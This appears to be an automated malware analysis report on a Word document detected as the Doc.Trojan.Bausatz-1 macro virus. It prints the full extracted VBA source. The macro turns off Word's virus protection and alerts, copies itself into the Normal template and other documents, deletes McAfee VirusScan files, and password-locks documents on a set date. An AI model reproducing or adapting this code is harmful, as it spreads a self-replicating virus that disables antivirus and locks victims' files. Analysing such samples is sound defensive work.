MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an Office document containing VBA macros, identified by ClamAV as 'Doc.Trojan.Bausatz-1'. The macro code attempts to copy itself to other documents and includes a command to delete files from a McAfee VirusScan directory. It also displays a message box and attempts to save the document with a password, indicating malicious intent.
Heuristics 2
-
ClamAV: Doc.Trojan.Bausatz-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bausatz-1
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1508 bytes |
SHA-256: cdc50d90d08b12939a267fd04339da4e5935f888489cfd599cdc66d3f2b57349 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoexit()
On Error Resume Next
'Made with the W97 MakroVirus Bausatz by MagBee
ActiveDocument.ReadOnlyRecommended = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
Options.ConfirmConversions = False
Application.ScreenUpdating = False
If ThisDocument.Name = "Normal.dot" Then
Set Source = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
Set Source = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Source
vircode = .lines(1, .countoflines)
End With
With Target
.deletelines 1, .countoflines
.insertlines 1, vircode
End With
Kill ("c:\Programme\Mcafee\VirusScan\*.*")
MsgBox "Fuck you", , "W97M Virus Bausatz by MagBee"
If Day(Now()) = 4 And Month(Now()) = 4 Then
If ActiveDocument.HasPassword = False Then ActiveDocument.Password = "krt"
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.